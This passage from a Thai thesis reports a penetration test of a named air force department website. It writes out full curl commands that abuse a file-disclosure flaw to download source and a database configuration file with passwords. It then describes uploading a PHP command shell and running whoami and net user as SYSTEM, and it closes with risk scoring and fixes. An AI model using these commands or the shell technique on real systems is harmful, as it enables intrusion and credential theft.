สามารถส่ง http request รวมทั้ งเซสชั่นหรือคุ้กก้ีท่ีมีการปรับปรับแต่งค่าไปยงัเว็บเซิร์ฟเวอร์ 
เพื่อใช้ประโยชน์จากเซสชัน่หรือคุก้ก้ีของผูใ้ช้ท่ีมีสิทธิเขา้ถึงขอ้มูล ซ่ึงไฟล์ท่ีพบว่าเป็นช่องโหว ่
คือ nextbroad.php แสดงในภาพท่ี 3.9 

 
 

ภาพท่ี 3.9  ขอ้มูลรายละเอียดของช่องโหว ่HTML form without CSRF protection 
 
   3.2.2.2 สแกนหาช่องโหวบ่นหนา้เวบ็ไซต ์ 
    ผูว้ิจยัไดท้  าการสแกนหาช่องโหว่ของเวบ็ไซต์โดยการหาช่องโหว่จากหน้าเพจ 
ทุกเพจท่ีอยู่บนเวบ็ไซต์ จนพบขอ้มูลมูลท่ีคาดว่าจะเป็นช่องโหว่ คือ parameter ท่ีช่ือว่า “file” ใน
ส่วนของหน้าเพจคือไฟล์ท่ีช่ือว่า “download.php ซ่ึงผูว้ิจยัพบว่าหน้าเพจน้ีมีช่องโหว่คือให้ผูใ้ช้
สามารถดาวน์โหลดไฟล์ ออกมาจากเซิร์ฟเวอร์ไดโ้ดยผ่านไฟล์ “download.php” ซ่ึงหมายความว่า
ผูใ้ช้สามารถใช้ค  าสั่งในการดาวน์ไฟล์ต่าง ๆ ท่ีอยู่บนเวบ็เซิร์ฟเวอร์ออกมาใช้ประโยชน์ในการ
โจมตีเวบ็ไซตแ์ละเวบ็เซิร์ฟเวอร์ได ้ช่องโหวด่งักล่าวปรากฏอยูใ่น URL ดงัแสดงตามภาพท่ี 3.10 
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ภาพท่ี 3.10  ช่องโหวข่อง Local file inclusion 

 
 3.2.3 ขั้นตอนการเข้าถึงเป้าหมาย (Gaining Access) 
   จากขอ้มูลท่ีไดรั้บในขั้นตอนท่ี 3.2.2.3 คือ การสแกนหาช่องโหวบ่นหนา้เวบ็ไซต ์ผูว้ิจยั
น าขอ้มูลท่ีไดม้าใช้ประโยชน์ในการทดสอบการโจมตีเวบ็ไซต์ โดยใช้เทคนิคท่ีเรียกว่า Local File 
Disclosure ในการหาช่องโหว่ โดยการใช้โปรแกรม Curl ผ่าน Command Prompt เพื่อส่ง HTTP 
script ในการดาวน์โหลดไฟล์ download.php  ดว้ยค าสั่ง curl -o download.php เน่ืองจากเป็นค าสั่งท่ี
ใช้ดาวน์โหลดไฟล์ท่ีตอ้งการจากหน้าเว็บไซตใ์ห้มาแสดงบนเคร่ืองของผูว้ิจยั จากนั้นใช้ค  าสั่ง -A 
“ Mozilla/ 5. 0 ( Linux; u; Android 2. 2:  en-us:  SCH-I800 Build/ FROYO)  AppleWebkit/ 533. 1 
(KHTML, like Gecko) Version/4.0 Mobile safari/533.1” ในการก าหนดค่า Header ให้ เส มือน 
เป็นการเรียกใช้งานจากบราวซ์เซอร์โดยทัว่ไป และตามดว้ยค าสั่ง curl –url http://www.daoc.rtaf. 
mi.th/webdaoc/download.php?file=./download.php” เป็นค าสั่งท่ีใช้ระบุท่ีอยู่ของไฟล์ท่ีต้องการ
ดาวน์โหลด ดงัแสดงตามภาพท่ี 3.11 – 3.12 
 

 
 

ภาพท่ี 3.11  ค  าสั่งการเรียกใชเ้คร่ืองมือ Curl  

http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./download.php
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ภาพท่ี 3.12  ค  าสั่งดาวน์โหลดไฟล ์download.php 
 

จากค าสั่งดังกล่าวพบว่าสามารถดาวน์โหลดไฟล์ download.php  ออกมาจากเคร่ือง
เซิร์ฟเวอร์ไดส้ าเร็จ จากนั้นท าการอ่านซอร์สโคด้ของไฟล์ download.php พบวา่ไม่มีการตรวจสอบ
นามสกุลของไฟล์ก่อนท่ีจะอนุญาตให้ดาวน์โหลด ส่งผลให้สามารถดาวน์ไฟล์ ใด ๆ ก็ไดท่ี้อยู่บน
เซิร์ฟเวอร์ เพียงแค่รู้ท่ีอยูข่องไฟลท่ี์ตอ้งการดาวน์โหลดเท่านั้น รายละเอียดตามภาพท่ี 3.13 
 

 
 

ภาพท่ี 3.13  อ่านซอร์สโคด้ไฟล ์download.php 

curl -o download.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO) 
AppleWebkit/533.1 (KHTML,  like Gecko) Version/4.0 Mobile safari/533.1” --url 
“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./download.php” 
 

 

http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./download.php
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จากนั้นจึงท าการทดลองดาวน์โหลดไฟล์ default.php ซ่ึงเป็นไฟล์ท่ีแสดงหนา้แรกของ
เวบ็ไซต ์ดว้ยค าสั่งต่อไปน้ี แสดงตามภาพท่ี 3.14   
 
 
 
 

 

 
 

ภาพท่ี 3.14  ค  าสั่งดาวน์โหลดไฟล ์default.php 
 

จากค าสั่งขา้งตน้พบว่าสามารถดาวน์โหลดไฟล์ default.php ได้ส าเร็จจากนั้นจึงอ่าน
ไฟล ์default.php พบวา่มีการอา้งอิงถึงไฟล ์auth.inc.  ตามภาพท่ี 3.15 

 

 
 

ภาพท่ี 3.15  รายละเอียดของไฟล์ไฟล ์default.php 
  

curl -o default.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO) 
AppleWebkit/533.1 (KHTML,  like Gecko) Version/4.0 Mobile safari/533.1” --url 
“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./default.php” 
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จากนั้ นจึงท าการดาวน์โหลดไฟล์ auth.inc.php ซ่ึงเป็นไฟล์ท่ี ถูกอ้างถึงในไฟล ์
default.php ซ่ึงเป็นไฟลท่ี์เป็นหนา้แรกของเวบ็ไซต ์ดว้ยค าสั่งดงัแสดงตามภาพท่ี 3.16 
 
 
 
 
 

 
 

ภาพท่ี 3.16  ค  าสั่งดาวน์โหลดไฟล ์auth.inc.php 
 

จากการอ่านไฟล์ auth.inc.php  พบว่ามีการอ้างถึงไฟล์ config.inc.php ซ่ึงเป็นไฟล์ท่ี
เก่ียวขอ้งกบัการตั้งค่าของระบบฐานขอ้มูลของเวบ็ไซตท่ี์ท าการทดสอบ ตามภาพท่ี 3.17 

 

 
 

ภาพท่ี 3.17  รายละเอียดของขอ้มูลท่ีอยูใ่นไฟล ์auth.inc.php 

curl -o auth.inc.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO) 
AppleWebkit/533.1 (KHTML,  like Gecko) Version/4.0 Mobile safari/533.1” --url 
“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./auth.inc.php”   
 

http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./config.inc.php
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จากนั้นดาวน์โหลดไฟล์ config.inc.php เพื่อดูขอ้มูลท่ีอยูภ่ายใน ดว้ยค าสั่งดงัแสดงตาม
ภาพท่ี 3.18 
 
 
 
  

 
 

ภาพท่ี 3.18  ค  าสั่งดาวนโหลดไฟล ์config.inc.php 
 

เม่ืออ่านไฟล์ config.inc.php พบวา่เป็นไฟล์ท่ีใชติ้ดต่อกบัระบบฐานขอ้มูลของเวบ็ไซต ์
ภายในเป็นขอ้มูลรหัสผ่านส าหรับเขา้ใช้งานระบบฐานขอ้มูลของเวบ็ไซต์กรมควบคุมการปฏิบติั
ทางอากาศ ซ่ึงไฟล์ดังกล่าวเป็นไฟล์ท่ีมีความส าคัญต่อระบบฐานข้อมูลของเว็บไซต์ ถ้าผูไ้ม่
ประสงค์ดีสามารถน าไฟล์น้ีออกไปจากเว็บเซิร์ฟเวอร์ได้ ก็สามารถเขา้ถึงระบบฐานข้อมูลของ
เวบ็ไซตแ์ละเขา้ไปสร้างความเสียหายใหแ้ก่เวบ็ไซตไ์ด ้ตามภาพท่ี 3.19  

 

 
 
ภาพท่ี 3.19  ขอ้มูลรหสัผา่นส าหรับเขา้ใชง้านระบบฐานขอ้มูล 
 

curl -o config.inc.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO) 
AppleWebkit/533.1 (KHTML,  like Gecko) Version/4.0 Mobile safari/533.1” --url 
“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./config.inc.php”   
 

 

http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./config.inc.php
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ทดลองดาวน์โหลดไฟล์ admin.php ซ่ึงเป็นไฟล์ท่ีผูว้ิจยัสันนิษฐานวา่น่าจะเป็นไฟล์ท่ีมี
อยูใ่นเซิร์ฟเวอร์และเป็นไฟลท่ี์คาดวา่จะสามารถน าไปใชป้ระโยชน์ได ้ตามภาพท่ี 3.20 

 
 
 
 
 
 

 
ภาพท่ี 3.20  ค  าสั่งดาวน์โหลดไฟล ์admin.php 
 

จากนั้นอ่านซอร์สโคด้ของไฟล์ admin.php พบวา่ไฟล์มีการอา้งอิงถึงไฟล์ท่ีสามารถเขา้
ไปเพิ่มขอ้มูลในเวบ็ไซต์ได ้คือไฟล์ท่ีช่ือว่า newbroad.php และภายในไฟล์ admin.php มีการเขียน
คอมเมนตบ์อกใหรู้้วา่ไฟลน้ี์มีความส าคญักบั admin  ตามภาพท่ี 3.21 
 

 
 
ภาพท่ี 3.21  รายละเอียดขอ้มูลภายในไฟล ์admin.php 
 
 

curl -o admin.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO) 

AppleWebkit/533.1 (KHTML,  like Gecko) Version/4.0 Mobile safari/533.1” --url 

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./blog/admin.php” 
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จากนั้นดาวน์โหลดไฟล ์newbroad.php เพื่อดูรายละเอียดท่ีอยูภ่ายใน ตามภาพท่ี 3.22 
 
 
 
 
 

 
 

ภาพท่ี 3.22  ค  าสั่งดาวน์โหลดไฟล ์newbroad.php 
 

เม่ืออ่านไฟล ์newbroad.php พบวา่เป็นไฟลท่ี์ใชส้ าหรับอพัโหลดขอ้มูลภาพกิจกรรมข้ึน
ไปบนหนา้เวบ็ไซต ์จากรายละเอียดขอ้มูลของซอสโคด้ท่ีอยูภ่ายในไฟล์ดงักล่าว ท าให้ผูว้ิจยัคน้พบ
ช่องทางในการทดลองอพัโหลดไฟลต์่าง ๆ เขา้ข้ึนสู่เวบ็ไซต ์รายละเอียดแสดงตามภาพท่ี 3.23 

 

  
 

ภาพท่ี 3.23  รายละเอียดขอ้มูลภายในไฟล ์newbroad.php 

curl -o newbroad.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO) 

AppleWebkit/533.1 (KHTML,  like Gecko) Version/4.0 Mobile safari/533.1” --url 

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./activity/newbroad.php”   
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จากนั้นจึงเรียกไฟล์ newbroad.php ผา่นเวบ็บราวซ์เซอร์ เพื่อทดสอบการเขา้ถึงหนา้เพจ 
newbroad.php ซ่ึงเป็นหน้าท่ีใช้ในการอพัโหลดขอ้มูลข้ึนสู่หน้าเวบ็ไวต์ พบว่าสามารถเขา้ถึงช่อง
ทางการอพัโหลดขอ้มูลข้ึนบนเวบ็ไซตไ์ดโ้ดยไม่ผา่นการยนืยนัตวัตน ตามภาพท่ี 3.24  

 

  
 

ภาพท่ี 3.24  ช่องทางในการอพัโหลดไฟลข้ึ์นหนา้เวบ็ไซต ์
 

จากนั้นท าการสร้างไฟล์ systemCMD.php ซ่ึงเป็นไฟล์ท่ีผูว้ิจยัสร้างข้ึนเพื่อให้รอรับ
ค าสั่ง Dos เช่น ค าสั่งดูไฟล์ (dir) ค  าสั่งตรวจสอบผูใ้นระบบ (net user) ข้ึนไปบนเซิร์ฟเวอร์ พบว่า
สามารถอพัโหลดไฟลไ์ดส้ าเร็จ รายละเอียดตามภาพท่ี 3.25 – 3.29 
 

 
 

ภาพท่ี 3.25  ค  าสั่งภายใน systemCMD.php 
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ภาพท่ี 3.26  การอพัโหลดไฟลข้ึ์นเซิร์ฟเวอร์ 
 

 
 
ภาพท่ี 3.27  การอพัโหลดไฟล์ system.CMD.php เสร็จสมบูรณ์ 
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ภาพท่ี 3.28  การอพัโหลดไฟล์ system.CMD.php เสร็จสมบูรณ์ 
 

 
 

ภาพท่ี 3.29  การอพัโหลดไฟล์ system.CMD.php เสร็จสมบูรณ์ 
 

จากนั้นเรียกใชไ้ฟล ์systemCMD.php ผา่นเวบ็เบราวเ์ซอร์ เพื่อทดสอบวา่ไฟลด์งักล่าวท่ี
อพัโหลดข้ึนไปบนเวบ็เซิร์ฟเวอร์สามารถใช้งานไดห้รือไม่ พบว่าเวบ็เซิร์ฟเวอร์มีการแจง้เตือนว่า 
ไม่สามารถประมวลผลค าสั่งท่ีเป็นค่าว่างได้ เน่ืองจากผูว้ิจยัยงัไม่ได้พิมพ์ค  าสั่งใด ๆ ลงในเว็บ
เบราวเ์ซอร์ รายละเอียดดงัแสดงตามภาพท่ี 3.30 
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ภาพท่ี 3.30  เรียกใชง้านไฟล ์system.php ผา่นเวบ็เบราวเ์ซอร์ 

 
จากนั้นผูว้ิจยัจึงทดลองใช้ค  าสั่งเรียกดูไฟล์ท่ีอยู่ในเซิร์ฟเวอร์ด้วยค าสั่ง “dir” พบว่า

สามารถเรียกดูไฟลท์ั้งหมดท่ีอยูบ่นเคร่ืองเซิร์ฟเวอร์ได ้รายละเอียดดงัแสดงตามภาพท่ี 3.31 
 

 
 
ภาพท่ี 3.31  ขอ้มูลของไฟลท่ี์อยูใ่นเคร่ืองเซิร์ฟเวอร์ 
 

จากนั้นผูว้ิจยัได้ท าการตรวจสอบสิทธ์ิการใช้งานบนเซิร์ฟเวอร์ด้วยค าสั่ง “whoami” 
พบว่าไดรั้บสิทธิการใชง้านเคร่ืองเซิร์ฟเวอร์เป็น “system” ซ่ึงเป็นสิทธ์ิสูงสุดสามารถเขา้ไปจดัการกบั
เคร่ืองเซิร์ฟเวอร์ได ้ดงัแสดงตามภาพท่ี 3.32 

 

 
 
ภาพท่ี 3.32  การตรวจสอบสิทธ์ิการใชง้านบนเซิร์ฟเวอร์ดว้ยค าสั่ง “whoami” 
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จากนั้นผูว้ิจยัไดท้  าการตรวจสอบช่ือผูใ้ชง้าน(User) ท่ีมีสิทธ์ิเขา้ถึงเคร่ืองเซิร์ฟเวอร์ดว้ย
ค าสั่ ง“net user” ท าให้พบรายช่ือผู ้มีสิทธ์ิเข้าใช้งานทั้ งหมดท่ีมีสิทธ์ิเข้าถึงเคร่ืองเซิ ร์ฟเวอร์ 
รายละเอียดดงัแสดงตามภาพท่ี 3.33 

 

 
 
ภาพท่ี 3.33  การตรวจสอบช่ือผูมี้สิทธ์ิเขา้ถึงเคร่ืองเซิร์ฟเวอร์ 
 

จากผลการทดสอบการเจาะระบบเวบ็ไซต์กรณีศึกษาเวบ็ไซต์ กรมควบคุมการปฏิบติั 
ทางอากาศ พบวา่สามารถน าช่องโหว่ท่ีตรวจพบจากขั้นตอนการสแกนหาช่องโหว่ของเวบ็ไซตม์า
ใช้ประโยชน์ในการทดสอบเจาะระบบเว็บไซต์ได้ ซ่ึงการทดสอบดงักล่าวแสดงให้เห็นถึงความ
รุนแรงของช่องโหวข่องเวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ ซ่ึงถา้ผูไ้ม่ประสงคดี์รู้ช่องโหวก่็
สามารถน าช่องโหวน้ี่ไปใชใ้นการโจมตีเวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศ และสามารถ
เขา้ถึงเวบ็เซิร์ฟเวอร์ได ้หากผูไ้ม่ประสงค์ดีสามารถเขา้ถึงเวบ็เซิร์ฟเวอร์ได ้ก็สามารถเขา้ไปโจมตี
หรือสร้างความเสียหายให้กบัเว็บไซต์อ่ืน ๆ ท่ีอยู่ในโดเมนเดียวกัน รวมถึงสามารถเขา้ไปสร้าง
ความเสียหายให้กับเซิร์ฟเวอร์ได้ โดยรายละเอียดความรุนแรงของช่องโหว่ท่ีตรวจพบสามารถ
อธิบายไดใ้นหวัขอ้ท่ี 3.3  
 
3.3  การวเิคราะห์ความรุนแรงของช่องโหว่และการประเมินความเส่ียง (Vulnerability and  Risk 
Analysis) [12] 

จากผลการทดสอบการเจาะระบบเวบ็ไซต์ กรณีศึกษาเวบ็ไซต์กรมควบคุมการปฏิบติั
ทางอากาศ ผูว้ิจยัไดน้ าช่องโหวท่ี่ตรวจพบมาท าการวิเคราะห์ความรุนแรงของช่องโหวแ่ละประเมิน
ความเส่ียงตามแนวทางท่ีไดก้ล่าวไวใ้นบทท่ี 2 โดยมีรายละเอียดดงัแสดงในตารางท่ี 3.1   
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ตารางท่ี 3.1  การวเิคราะห์ความรุนแรงของช่องโหวท่ี่ตรวจพบ 
 

1. ช่ือช่องโหว่ : File upload 

รายละเอยีด เป็นช่องโหวท่ี่สามารถอพัโหลดไฟลใ์ด ๆ เขา้ไปในระบบโดยไม่ผา่นการ
ตรวจสอบชนิดของไฟล์ 

ความง่ายต่อการเข้าถึง ช่องโหวส่ามารถเขา้ถึงจากเทคนิคทัว่ไป โดยไม่ตอ้งยนืยนัตวัตน  
ใหค้ะแนนระดบั  3 

ผลกระทบ ช่องโหวส่ามารถขดัขวาง หรือยติุการใหบ้ริการ หรือท าให้ขอ้มูลเสียหาย
ได ้
ใหค้ะแนนระดบั 3 

ความเส่ียง ความเส่ียงระดบัสูง 
ใหค้ะแนนระดบั 9 

2. ช่ือช่องโหว่ : Local File Disclosure 
รายละเอยีด เป็นช่องโหว่ท่ีอนุญาตให้ดาวน์โหลดไฟล์ต่าง ๆ ออกจากเซิร์ฟเวอร์ 

โดยไม่มีการตรวจสอบชนิดของไฟล ์
ความง่ายต่อการเข้าถึง ช่องโหวส่ามารถเขา้ถึงจากเทคนิคทัว่ไป โดยไม่ตอ้งยนืยนัตวัตน  

ใหค้ะแนนระดบั  3 
ผลกระทบ ช่องโหวไ่ม่สามารถยติุการใหบ้ริการได ้แต่ท าใหไ้ดข้อ้มูลพื้นฐาน

เก่ียวกบัการใหบ้ริการ 
ใหค้ะแนนระดบั 1 

ความเส่ียง ความเส่ียงระดบัต ่า 
ใหค้ะแนนระดบั 3 

3. ช่ือช่องโหว่ : Cross Site Request Forgery 
รายละเอยีด เป็นช่องโหว่ท่ีสามารถส่งโค้ดไม่พึงประสงค์ข้ึนไปบนเซิร์ฟเวอร์ได ้

แต่เวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศ ไม่มีบริการท่ีมีช่องโหว่
ดงักล่าว 

ความง่ายต่อการเข้าถึง ช่องโหวต่อ้งอาศยัการโจมตีผา่นเทคนิคเฉพาะและการยนืยนัตวัตน  
ใหค้ะแนนระดบั  1 
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ผลกระทบ ช่องโหวไ่ม่สามารถยติุการใหบ้ริการได ้แต่ท าใหไ้ดข้อ้มูลพื้นฐาน
เก่ียวกบัการใหบ้ริการ  
ใหค้ะแนนระดบั  1 

ความเส่ียง ความเส่ียงระดบัต ่า  
ใหค้ะแนนระดบั 1 

4. ช่ือช่องโหว่ : Apache httpOnly cookie disclosure   
รายละเอยีด เป็นช่องโหวท่ี่แฮกเกอร์สามารถขโมย Cookie ได ้แต่เวบ็ไซตข์อง  

กรมควบคุมการปฏิบติัทางอากาศ ไม่มีบริการท่ีตอ้งใช ้Cookie 
ความง่ายต่อการเข้าถึง ช่องโหวต่อ้งอาศยัการโจมตีผา่นเทคนิคเฉพาะ และการยนืยนัตวัตน  

ใหค้ะแนนระดบั 1 
ผลกระทบ ช่องโหวไ่ม่สามารถยติุการใหบ้ริการได ้แต่ท าใหไ้ดข้อ้มูลพื้นฐาน

เก่ียวกบัการใหบ้ริการ 
ใหค้ะแนนระดบั 1 

ความเส่ียง ความเส่ียงระดบัต ่า 
ใหค้ะแนนระดบั 1 

5. ช่ือช่องโหว่  : Database Weak Password 
รายละเอยีด รหสัผา่นของฐานขอ้มูลมีความแขง็แรงนอ้ย  
ความง่ายต่อการเข้าถึง ช่องโหวส่ามารถเขา้ถึงจากเทคนิคทัว่ไป โดยตอ้งผา่นการยนืยนัตวัตน 

ใหค้ะแนนระดบั  2 
ผลกระทบ เป็นช่องโหวท่ี่สามารถขดัขวาง หรือยุติการใหบ้ริการ หรือท าใหข้อ้มูล

เสียหายได ้
ใหค้ะแนนระดบั  3 

ความเส่ียง ระดบัปานกลาง 
ใหค้ะแนนระดบั  6 
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  3.3.1 สรุปข้อมูลของช่องโหว่ทีต่รวจพบ 
 จากการวิเคราะห์ความรุนแรงของช่องโหว่และการประเมินความเส่ียง กรณีศึกษา
เวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ สามารถสรุปไดว้า่ พบช่องโหวท่ั้งส้ิน จ านวน 5 ช่องโหว ่
สามารถจ าแนกระดบัความรุนแรงของช่องโหวไ่ด ้ดงัแสดงตามตารางท่ี 3.2  
 
ตารางท่ี 3.2  จ  านวนของช่องโหวท่ี่ตรวจพบและระดบัความเส่ียง 
 

ระดับความเส่ียง สูง กลาง ต ่า 

จ านวนช่องโหว่ 1 1 3 

 
จากขอ้มูลในตารางท่ี 3.1 แสดงเป็นแผนภูมิไดต้ามภาพท่ี 3.34 
 

 
 

ภาพท่ี 3.34  ผลการวเิคราะห์ความรุนแรงของช่องโหว ่



 
 

บทที ่4 
ผลลพัธ์จากการด าเนินการ 

 
จากผลการตรวจหาช่องโหว่ของเว็บไซต์ กรณีศึกษาเวบ็ไซต์กรมควบคุมการปฏิบติั 

ทางอากาศ พบว่าเว็บไซต์ดังกล่าวมีช่องโหว่ท่ีท าให้ผูไ้ม่ประสงค์ดีสามารถน าช่องโหว่ไปใช้
ประโยชน์ในการโจมตีเวบ็ไซตด์งักล่าวได ้จากผลการศึกษาในบทท่ี 3 ผูว้จิยัไดค้น้พบแนวทางการ
แกไ้ขและการป้องกนัช่องโหว่ท่ีตรวจพบโดยไดจ้ดัท าเป็นรายงานให้กบัผูเ้ก่ียวขอ้งไดน้ าไปแกไ้ข 
โดยมีรายละเอียดตามหวัขอ้ท่ี 4.1 
 
4.1  รายงานวธีิการแก้ไขและการป้องกนัช่องโหว่ (Report how to fix and prevent 
       vulnerabilities) 

ผูว้ิจยัได้จดัท ารายงานการวิธีการแก้ไขและการป้องกนัช่องโหว่ให้กบัผูเ้ก่ียวขอ้งได้
น าไปแกไ้ข ซ่ึงในรายละเอียดของรายงานดงักล่าวสามารถให้ค  าแนะน าเก่ียวกบัวิธีการแกไ้ขช่อง
โหว่และแนวทางการป้องกันส าหรับเว็บไซต์ของกรมควบคุมการปฏิบัติทางอากาศโดยมี
รายละเอียดดงัแสดงตามตารางท่ี 4.1 
 
ตารางท่ี  4.1  รายงานวิธีการแก้ไขและการป้องกันช่องโหว่ (Report how to fix and prevent  
                       vulnerabilities) 
 

ล าดับ ช่องโหว่ 
ระดับ 

ความเส่ียง 
วธีิแก้ไขและแนวทางการป้องกนั 

1 File upload สูง 1A :  เพิ่มหน้ายืนยนัตัวตนส าหรับผูดู้แลระบบ
ก่อนเขา้ไปจดัการกิจกรรมต่างๆบนหนา้เวบ็ไซต ์
1B : เพิ่มการตรวจสอบไฟล์ท่ีจะอัพโหลดให ้
อัพโหลดได้เฉพาะไฟล์ท่ีต้องการให้อัพโหลด
เท่านั้น เช่นไฟล ์รูปภาพ (.jpeg, .gif, .png) เท่านั้น 
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2 Local File Disclosure  ต ่า 2A: ยกเลิกการใชไ้ฟล์ download.php ซ่ึงเป็นไฟล์
ท่ีอนุญาตให้ผูใ้ช้สามารถดาวน์โหลดไฟล์ต่างๆ 
ท่ีอยูบ่นเวบ็เซิร์ฟเวอร์ไดจ้ากหนา้เวบ็ไซต ์  
2B : ตั้งค่าการดาวน์โหลดไฟล์ ให้เป็นแบบ static 
คือ ในขั้นตอนเขียนโคด้ให้อา้งอิงไฟล์ท่ีตอ้งการ
ให้ดาวน์โหลดโดยตรง โดยไม่ตอ้งผ่านซอสโคด้
ของไฟล ์download.php 

3 Cross Site Request Forgery ต ่า แก้ ไขด้ ว ยวิ ธี ก ารอัพ เดท เวอ ร์ชั่ น ขอ ง เว็บ
เซิ ร์ฟเวอร์ จาก Apache เวอร์ชั่น  2.2.8 ซ่ึ งเป็น
เวอร์ชั่น ท่ี เก่า ให้ เป็น  Apache เวอร์ชั่น  2.2.22  
ข้ึนไปซ่ึงเป็นเวอร์ชั่นท่ีได้รับการแก้ไขช่องโหว่
ดงักล่าวเรียบร้อยแลว้ 

4 Apache httpOnly cookie 
disclosure 
 

ต ่า แก้ ไขด้ ว ยวิ ธี ก ารอัพ เดท เวอ ร์ชั่ น ขอ ง เว็บ
เซิ ร์ฟเวอร์ จาก Apache เวอร์ชั่น  2.2.8  ซ่ึงเป็น
เวอร์ชั่น ท่ี เก่า ให้ เป็น  Apache เวอร์ชั่น  2.2.22  
ข้ึนไปซ่ึงเป็นเวอร์ชั่นท่ีได้รับการแก้ไขช่องโหว่
ดงักล่าวเรียบร้อยแลว้ 

5 Database Weak Password ปาน
กลาง 

เปล่ียนรหสัผา่นของฐานขอ้มูลให้มีความแข็งแรง
ดงัน้ี       
1. รหสัผา่นควรจะประกอบดว้ย อกัษรพิมพใ์หญ่, 
พิมพเ์ล็ก, ตวัเลข และอกัขระพิเศษ  
2. รหสัผา่นยากต่อการคาดเดา (Brute force) 
3. ความยาวของรหสัผา่นไม่นอ้ยกวา่ 8 ตวัอกัษร 
4. ไม่ใช้ข้อมูลท่ี เป็นส่วนตัวหรือข้อมูลท่ี เป็น
สาธารณะ เช่น หมายเลขบตัรประชาชน หมายเลข
โทรศพัท ์วนั เดือน ปีเกิด ทะเบียนรถ เป็นตน้  
5. ใช้รหัสผ่านแยกกบับริการอ่ืน เช่น บญัชีอีเมล์
หรือบริการอ่ืน ๆ 
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6. จ  ากดัสิทธ์ิการเขา้ถึงฐานขอ้มูลโดยอนุญาต 
ใหเ้ขา้ถึงไดเ้ฉพาะเวบ็เซิร์ฟเวอร์ของกรมควบคุม
การปฏิบติัทางอากาศเท่านั้น  

  
4.2 การแก้ไขช่องโหว่ 
 4.2.1 ช่องโหว่ File upload 
   จากเดิมผูดู้แลเว็บไซต์ของกรมควบคุมการปฏิบติัทางอากาศใช้ช่องทางการเขา้ไปอพั
โหลดขอ้มูลข้ึนสู่เวบ็ไซต ์โดยการพิมพ ์URL ท่ีอยูข่องไฟล์ท่ีใชใ้นการอพัโหลดขอ้มูลข้ึนสู่เวบ็ไซต ์
แลว้กรอกขอ้มูลท่ีตอ้งการอพัโหลดพร้อมแนบไฟล์ท่ีตอ้งการอพัโหลด แลว้กดปุ่มยืนยนั จากนั้น
ออกจากระบบ โดยมีขั้นตอนการท างานดงัแสดงตามภาพท่ี  4.1 
 

 

ภาพท่ี 4.1  ขั้นตอนการอพัโหลดขอ้มูลข้ึนสู่เวบ็แบบเดิม 
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  ซ่ึงขั้นตอนดงักล่าวขา้งตน้สามารถเขา้ถึงได้โดยไม่ผ่านการยืนยนัตวัตน และไม่มีการ
ตรวจสอบชนิดของไฟล์ท่ีอพัโหลด ท าให้แฮกเกอร์สามารถใชช่้องทางน้ีในการโจมตีเวบ็ไซตแ์ละ
เวบ็เซิฟร์เวอร์ให้เกิดความเสียหายได้ โดยวิธีการเขา้ไปอพัโหลดขอ้มูลข้ึนสู่เวบ็ไซต์แบบเดิมนั้น 
แสดงตามภาพท่ี 4.2 
 

 
 

ภาพท่ี 4.2  ช่องทางการอพัโหลดขอ้มูลข้ึนสู่เวบ็ดว้ยแบบเดิม 
 

  ผูดู้แลเว็บไซต์ของกรมควบคุมการปฏิบติัทางอากาศได้ด าเนินการแก้ไขช่องโหว่ File 
upload โดยการเพิ่มขั้นตอนการยืนยนัตวัตนก่อนเขา้ถึงขั้นตอนการอพัโหลดขอ้มูลข้ึนสู่เวบ็ไซต์, 
เพิ่มขั้นตอนการตรวจสอบชนิดของไฟล์ท่ีตอ้งการอพัโหลดโดยอนุญาตให้อพัโหลดไดเ้ฉพาะไฟล ์
รูปภาพ (.jpg, .gif, .png) เท่านั้น และเพิ่มเทคนิคท่ีใช้ในการทดสอบผูใ้ช้บริการว่าเป็นมนุษยจ์ริงๆ 
ไม่ใช่โปรแกรมอตัโนมติั (bot) (CAPTCHA) โดยมีกระบวนการท างานดงัแสดงตามภาพท่ี 4.3 
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ภาพท่ี 4.3  ขั้นตอนการอพัโหลดขอ้มูลข้ึนสู่เวบ็แบบใหม่ 
 

  การแกไ้ขช่องโหว ่File upload สามารถอธิบายไดด้งัน้ี 
  (1)  แกไ้ขโดยการเพิ่มหน้ายืนยนัตวัตนส าหรับผูดู้แลระบบก่อนเขา้ไปจดัการกิจกรรม
ต่างๆบนหน้าเว็บไซต์ เพื่อเป็นการป้องกันไม่ให้ผูท่ี้ไม่ได้รับอนุญาตเข้าถึงระบบจดัการหน้า
เวบ็ไซต ์รายละเอียดแสดงตามภาพท่ี 4.4  
 

 
 

ภาพท่ี 4.4  หนา้เพจการยนืยนัตวัตนส าหรับผูดู้แลเวบ็ไซต์ 
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  (2)  เพิ่มซอร์สโคด้ตรวจสอบประเภทของไฟลท่ี์จะอพัโหลด ใหอ้พัโหลดไดเ้ฉพาะไฟล์  
รูปภาพ (.jpeg, .gif, .png) เท่านั้น หากมีการอพัโหลดไฟล์ท่ีไม่ไดรั้บอนุญาต ระบบจะแจง้เตือนวา่ 
“รองรับเฉพาะไฟลรู์ปภาพแบบ JPG, GIF, PNG เท่านั้น” เพื่อเป็นการป้องกนัไม่ใหผู้ไ้ม่ประสงคดี์
อพัโหลดไฟลท่ี์เป็นอนัตรายข้ึนสู่เวบ็ไซตแ์ละเวบ็เซิร์ฟเวอร์ รายละเอียดของซอร์สโคด้แสดงตาม
ภาพท่ี 4.5  

 

 
 

